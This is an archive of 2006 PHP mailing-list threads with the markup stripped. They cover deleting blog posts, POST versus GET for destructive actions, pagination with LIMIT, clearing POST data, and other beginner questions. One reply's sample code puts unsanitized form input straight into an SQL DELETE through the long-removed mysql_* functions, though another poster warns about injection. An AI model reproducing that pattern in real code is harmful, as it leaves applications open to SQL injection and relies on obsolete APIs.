-- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Delete
Make each button a separate form, with the id as a hidden value. Like so: div form method='post' pMy first entry/p input type='hidden' name='id' value='1' / input type='submit' value='Delete' / /form /div div form method='post' pMy second entry/p input type='hidden' name='id' value='2' / input type='submit' value='Delete' / /form /div Obviously you'd want something better formatted, but you get the idea. Then on the receiving end, you'd simply DELETE FROM entries where id=$id;. That is, AFTER you process and clean the submitted id value so that it's not an injection risk. :-) On Sunday 04 June 2006 00:53, George Babichev wrote: Thank you for the help guys, but the I guess I kinda have another question. So I do assign an id to each blog post, and it is auto_increment, so in my blog delete page, it would display all the blog title's and a delete button nex to it. So lets say I click delete on the third entry. How would my program know to delete THAT entry and not another one? On 6/3/06, benifactor [EMAIL PROTECTED] wrote: when you insert each blog into your database, im assuming your not doing this by hand each and every time, assign each blog an id. in the place you want to delete the blog entries, list all of the blogs titles and ids. and then use mysql(delete); example: ? //create a variable for the delete blog entry of you control panel if ($view == delete_blog) { //this should be the value of your submit button if ($deleteBlog) { //this is the value of the blog entries to delete if (!$idblog) { //this is your error message, to be displayed if no blog was chosen to delete $de = font face=tahoma color=black size=1You Need To Choose a post to delete/font; } else { //list the values of the array in which all the blog entries you would like to delete are $delBlog = implode(,, $idblog); //do the actual deletion mysql_query(delete From blogs where id IN($delBlog)) or die(mysql_error()); //display the succesfull message if the blog entries were deleted echo(font face=tahoma color=black size=1bcenterblog(s):/b $delBlog bhas/have been deleted;/b/b/center); //now we display the blog entries //plus the sucsessfull message ? form method=post ?php $gn = mysql_query(Select * FROM blogs); while ($d = mysql_fetch_array($gn)) { ? INPUT TYPE=checkbox NAME=idBlog[] VALUE=? echo($d[id]); ?? echo(font face=tahoma color=black size=1bPost id:/b $d[id]b;/b bPost Title:/b $d[title]b;/b bPosted by:/b $d[poster]b;/bbr); ? ?php } ? brbrinput type=submit name=deleteNerd value=Delete class=button /form ?php } } else { //display blog entries only ? form method=post ?php $gn = mysql_query(Select * FROM blogs); while ($d = mysql_fetch_array($gn)) { ? INPUT TYPE=checkbox NAME=idBlog[] VALUE=? echo($d[id]); ?? echo(font face=tahoma color=black size=1bPost id:/b $d[id]b;/b bPost Title:/b $d[title]b;/b bPosted by:/b $d[poster]b;/bbr); ? ?php } ? brbrinput type=submit name=deleteNerd value=Delete class=button /form ?php } ? this is a very rough example, however you should catch the drift, make your id an array, implode that array and delete all the array data from the database. - Original Message - From: George Babichev [EMAIL PROTECTED] To: PHP General list php-general@lists.php.net Sent: Saturday, June 03, 2006 6:40 PM Subject: [PHP] Delete Hello everyone! I wrote a blog application, but now for the admin panel, i am trying to add a feature to delete blog posts. It would show the title of the post next to it, and have a delete link which would delete it. How would I do this? I mean if I have multiple blog entry's, how would I delete them without using php my admin? -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Delete
On Sunday 04 June 2006 03:11, Rabin Vincent wrote: On 6/4/06, Larry Garfield [EMAIL PROTECTED] wrote: Make each button a separate form, with the id as a hidden value. Like so: div form method='post' pMy first entry/p input type='hidden' name='id' value='1' / input type='submit' value='Delete' / /form /div [snip] You may find it easier to generate links of the form delete.php?id=1, etc. Then you won't have to use a seperate form for each link. The id will be available in delete.php in $_GET. The same sanity checking applies in this case too. Rabin Only if delete.php is a confirmation page. Never ever ever have a delete function that operates solely by GET. Here's why: http://thedailywtf.com/forums/thread/66166.aspx :-) -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] When is z != z ?
On Sunday 04 June 2006 15:04, tedd wrote: Yes, it is my contention that strings are numerical -- you don't store A in memory, you store 0100 001, or ASCII DEC 65. In a low-level language like C, that matters. One doesn't have strings, one has numbers that happen to map to a symbol. In PHP and other high-level languages, strings are their own datatype. They may or may not even be stored as standard ascii number codes in order internally. You have to think of them as strings, not as numbers. There are no numbers involved here. There are only strings. Likewise a is DEC 97 (0110 0001) and z is DEC 122 (0111 1010) and if I compare a to z , it will always be less by numeric definition. In C or C++, yes. In PHP, do not assume the same string-number mapping. Numeric definition is irrelevant. -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Delete
On Monday 05 June 2006 00:41, Rabin Vincent wrote: On 6/4/06, Larry Garfield [EMAIL PROTECTED] wrote: Only if delete.php is a confirmation page. Never ever ever have a delete function that operates solely by GET. Here's why: http://thedailywtf.com/forums/thread/66166.aspx Yes, I've seen that one before. IMO the main problem there is the faulty authentication system. If you put delete links public, and fail to put proper authentication in place, someone's going to delete your content, no matter if the delete action is a POST submit button or a GET link. I don't see how POST is better/more secure for a delete action. Rabin Data-modification actions should always be made via POST, not GET, because they're harder to make by accident that way. They can't be bookmarked or easily picked up by spiders and search engines. GET should be used only for read-only actions. That's what it's for (GETting data). -- Larry Garfield AIM: LOLG42 [EMAIL PROTECTED] ICQ: 6817012 If nature has made any one thing less susceptible than all others of exclusive property, it is the action of the thinking power called an idea, which an individual may exclusively possess as long as he keeps it to himself; but the moment it is divulged, it forces itself into the possession of every one, and the receiver cannot dispossess himself of it. -- Thomas Jefferson -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] php/mysql/phpMyAdmin on an iBook?
I'm thinking of getting an iBook for reasons not really to do with webbing but really need to do occasional php/mysql stuff to justify the expense. I believe that they all come with an Apache testing server installed and wondered if anyone had any success with getting php/mysql/phpMyAdmin working on one of these machines. No problem at all. Mac OS X comes with PHP installed (but not activated). There are precompiled binaries of both PHP and MySQL available from www.entropy.ch and mysql.com, respectively. phpMyAdmin runs on anything that can run PHP and MySQL. No problem at all! Larry -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] Clear POST variables
How do I clear out the POST variables, or the variables that I have set from the POST variables, so that when the page is refreshed it will not resubmit. I have tried unset() and have tried to set it to and empty value, but it doesn't seem to work. You can clear out POST by doing this: $_POST = array(); But that won't do anything in your case because every time the page is refreshed the form is resubmitted (and POST is repopulated). You need to find a way to ensure unique entries in the database. One option is to store a hidden, random value in the form, like a timestamp or the md5() of a random value. Then store this in the db, along with the other data. Put a unique index on that column so that the same random value cannot be inserted multiple times. (In other words, the form would need to be reloaded, then resubmitted for the data to go into the db.) HTH, Larry -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
Re: [PHP] LIMIT?
I have a news page which is getting quite long now and I would like to split the news to two pages. Now I have one SQL query for all the rows and I think I could use LIMIT to limit the results but how to limit the results for example to 15 rows for page one and from 16 to the last on second page? Number of rows increase daily. One page one there's headline and short summary and the second page should be archive with only the headline so all remaining rows can be printed to one page. Something like: SELECT * FROM `x_news` LIMIT 0 , 15 but how to do the archive page SELECT * FROM `x_news` LIMIT 16 , xx? What you're describing is called pagination. There are examples online. Basically you just need to pass to the second (and other) pages the LIMIT values (16 and xx above). Larry -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php
[PHP] simple DOM/XML test fails in php
I have a very simple DOM test set up which is failing. Environment is apacie 1.3.x, WIN xp, PHP 5.1.2 ; DOM seetings outlined in phpinfo() indicate various DOM/XML support is enabled. Failing php is: ?php $dom = new DOMDocument('1.0', 'iso-8859-1'); echo $dom-saveXML(); ? which results in: The XML page cannot be displayed Cannot view XML input using style sheet. Please correct the error and then click the Refresh button, or try again later. XML document must have a top level element. Error processing resource 'http://127.0.0.1/domtest.php'. -- PHP General Mailing List (http://www.php.net/) To unsubscribe, visit: http://www.php.net/unsub.php